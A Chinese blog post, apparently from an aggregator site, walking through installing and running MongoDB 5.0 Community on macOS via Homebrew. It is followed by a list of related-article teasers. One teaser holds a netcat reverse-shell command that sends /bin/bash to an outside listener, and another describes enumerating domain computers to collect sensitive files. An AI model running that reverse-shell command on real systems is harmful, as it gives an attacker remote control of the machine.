mac 安装部署mongoDB社区版

news2025/2/24 13:33:00

安装mongo可以采用下载安装包也可以使用Homebrew软件包管理工具安装
我一开始是根据网上走的下载安装包进行的,但总是出现各种问题,最后果断选择跟随官网教程走了

先决条件

如已安装,请跳过

1. 安装 Xcode 命令行工具

Homebrew 需要来自 Apple 的 Xcode 的 Xcode 命令行工具
终端执行:

xcode-select --install

2. 安装Homebrew软件包管理工具

默认情况下,macOS 不包含 Homebrewbrew包。

查看Homebrew 安装说明
或执行下面代码

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

安装 MongoDB 5.0社区版

在进行下面步骤前,请确保已执行了先决条件

1. 下载 MongoDB 和数据库工具:

brew tap mongodb/brew

2. 更新命令

brew update

3.安装 MongoDB

brew install mongodb-community@5.0

运行 MongoDB 社区版

运行有两种方式:

  • 将 MongoDB 作为 macOS 服务brew运行
  • 手动将 MongoDB 作为后台进程运行。

但官方建议第一种方式,因为这样做会 ulimit自动设置正确的系统值

第一种方式 - MongoDB 作为 macOS 服务运行

运行

brew services start mongodb-community@5.0

验证 MongoDB 是否正在运行

brew services list

停止

brew services stop mongodb-community@5.0

第二种方式 - MongoDB作为后台进程手动运行

运行

这里也区分mac的处理器而不同

  • Intel 处理器的 macOS运行
 mongod --config /usr/local/etc/mongod.conf --fork
  • 苹果 M1 处理器运行
mongod --config /opt/homebrew/etc/mongod.conf --fork

验证 MongoDB 是否正在运行

ps aux | grep -v grep | grep mongod

停止

要停止mongod作为后台进程运行,需要连接到mongod使用mongosh,并根据需要发出shutdown命令。

这种停止方式我这里不起作用,直接kill掉进程停止的

查看mongo:ps aux | grep mongo
然后kill进程

配置文件

上面两种方法都使用mongod.conf安装期间创建的文件。如果有特定配置也可以在 MongoDB 配置选项添加到此文件中

⚠️:不同mac处理器,配置文件位置不一样

我的是M1处理器如下

cat /opt/homebrew/etc/mongod.conf

在这里插入图片描述

更多信息可以查看官网了解:在 macOS 上安装 MongoDB 社区版

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2685.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Mybatis源码】源码分析

【Mybatis源码】源码分析(1)Mybatis的基本执行流程(1)在resources目录下建立一个mybatis-config.xml配置文件(2)准备UserMapper.xml文件(3)使用SqlSessionFactoryBuilder.build构建M…

简单的反弹shell到全交互式shell

经常我们拿到的shell是一个简单的shell 如何把一个简单的shell就升级到一个标准交互式shell 写这篇文章记录一下 # kali 起监听 bash # kali默认是zsh 还不兼容,要切换成bash nc -lvvp 9999# 靶机中执行 nc -e /bin/bash 192.168.100.131 9999 python -c import pty; p…

域内批量获取敏感文件

0x01 批量获取域内机器名 自动化工具,当然就要全自动,懒人必备。net group "domain computers" /do ,获取机器是3个一排,然后可以通过正则删除空格,每次也麻烦,直接获取机器名更加方便。 思路就…

QT调用OpenCV绘制直线、矩形、椭圆、圆、不规则曲线、文本

开发环境:QT5.14.2OpenCV4.5 提前准备:准备编译好的OpenCV开发环境(如自行编译的mingw版的opencv库,本地路径D:\opencv\qt_build64),准备一张测试图片(如:d:\test.jpg)。 项目结构&#xff1a…

如果再来一次,你还会选择互联网么?

现在互联网的就业环境,大家都在感受着一股寒意。也不知道从什么时候开始,身边悲观的声音越来越多了。 如果再给你一次机会,你还会选择互联网吗? 回答这个问题之前,我想跟大家聊聊一个我朋友的故事。 他从学渣到大厂程…

64位下使用回调函数实现监控

前言 在32位的系统下,我们想要实现某些监控十分简单,只需要找到对应的API实现挂钩操作即可检测进程。但在64位系统下随着Patch Guard的引入,导致我们如果继续使用挂钩API的方式进行监控会出现不可控的情况发生。微软也考虑到了用户程序的开发…

Linux shell脚本之笔记及实用笔记

一、前言 二、shell脚本之数据类型 2.1、数组遍历 1)数组定义 如果说变量是存储单个变量的内存空间,那么数组就是多个变量的集合,它存储多个元素在一片连续的内存空间中。在bash中,只支持一维数组,不支持多维数组。Linux Shell 数组用括号来表示,Bash Shell 只支持一维…

15. “接口隔离模式”之 Proxy模式

1. 动机 在面向对象系统中,有些对象由于某些原因(比如对象创建的开销很大,或者某些操作需要安全控制,或者需要进程外的访问等),直接访问会给使用者、或者系统结构带来很多麻烦。如何在不失去透明操作对象的…

Java中值得注意的『运算符、逻辑控制、输入输出』

目录前言一、运算符🍑1、取模运算符%🍑2、增量运算符🍑3、逻辑运算符🍑4、位运算符二、逻辑控制语句🍑1、switch语句三、Java输入和输出🍑1、输出到控制台🍑2、从键盘输入四、猜数字游戏——Jav…

软件过程与项目管理复习(1)

文章目录Week1Project Introduction定义特点Project management项目管理的价值项目管理的5要素Project manager项目经理的技能要求project manager 的核心任务(key activities)规划 planning组织 organizing领导 leading掌控 controllingAgile Scrum master 的核心任…

结构体超详解(小白一看就懂,多维度分析!!!!)

目录 一、前言 二、结构体详解 🍐什么是结构体 🍎结构体的定义与基础结构 🍑结构体的使用 💦结构体的初始化 💦结构体的成员访问 💦结构体数组 💦结构体指针--------------指向结构体变…

PNAS:人类头皮记录电位的时间尺度

导读 人类的许多行为都是由在不同时间尺度上发生的共同过程所支配的。标准的事件相关电位分析假设有关实验事件的响应持续时间是固定的。然而,最近对动物的单个单元记录显示,在需要灵活计时的行为中,神经活动尺度跨越了不同的持续时间。本研…

vue3——使用axios

1、Axios 是什么? 浏览器页面在向服务器请求数据时,因为返回的是整个页面的数据,页面都会强制刷新一下,这对于用户来讲并不是很友好。并且我们只是需要修改页面的部分数据,但是从服务器端发送的却是整个页面的数据,十…

Keras深度学习实战(33)——基于LSTM的序列预测模型

Keras深度学习实战(33)——基于LSTM的序列预测模型0. 前言1. 序列学习任务1.1 命名实体提取1.2 文本摘要1.3 机器翻译2. 从输出网络返回输出序列2.1 传统模型体系结构2.2 返回每个时间戳的网络中间状态序列2.3 使用双向 LSTM 网络小结系列链接0. 前言 在…

Qt易忘样式表总结

目录前言1、Qt设置样式的几种方式2、几种复合控件的样式设置QTableWidgetQCalendarWidgetQTreeWidgetQSpinBoxQComboBox前言 在使用Qt框架开发软件时,为了美观和更好的用户体验,需要为各种控件设置样式。一些通用且简单的样式如背景色、边框、字体字号等…

js实现图片懒加载

js实现图片懒加载 1、介绍getBoundingClientRect()函数 该函数没有参数,用于获取元素位置,返回一个对象,具有六个属性分别是: ele.getBoundingClientRect().top – 返回元素上边到视窗上边的距离 ele.getBoundingClientRect().l…

【经典面试题-LeetCode134:加油站问题(Java实现)】

加油站问题一、题目描述1.题目内容2.样例二、解决方案1.分析2.核心代码一、题目描述 1.题目内容 在一条环路上有 n 个加油站,其中第 i 个加油站有汽油 gas[i] 升。 你有一辆油箱容量无限的的汽车,从第 i 个加油站开往第 i1 个加油站需要消耗汽油 cost[i…

自动控制原理 - 2 控制系统的数学模型 节2.4-2.6

------------------------------------------------------------------------------ 2 控制系统的数学模型2.4 控制系统的传递函数2.5 典型环节的传递函数2.6 结构图的绘制 2 控制系统的数学模型 2.4 控制系统的传递函数 为何引入传递函数? 微分方程模型的优缺…

Webpack面试题总结

说说你对webpack的理解?解决了什么问题? webpack最初的目标是实现前端项目模块化,目的在于更高效的管理和维护项目中的每一个资源 模块化: 最早的时候,我们通过文件划分的形式实现模块化,也就是将每个功能…

JVM性能——开启回收日志和实时查看GC信息

JVM性能——开启回收日志和实时查看GC信息 JDK版本:OpenJDK 1.8.0_352-b08 操作系统:CentOS 7 如果文章内出现测试数据测试代码 depth:23 关于JVM的其他文章 JVM性能——垃圾回收器的优化策略 JVM性能——垃圾回收器的介绍 JVM性能——开启回收日…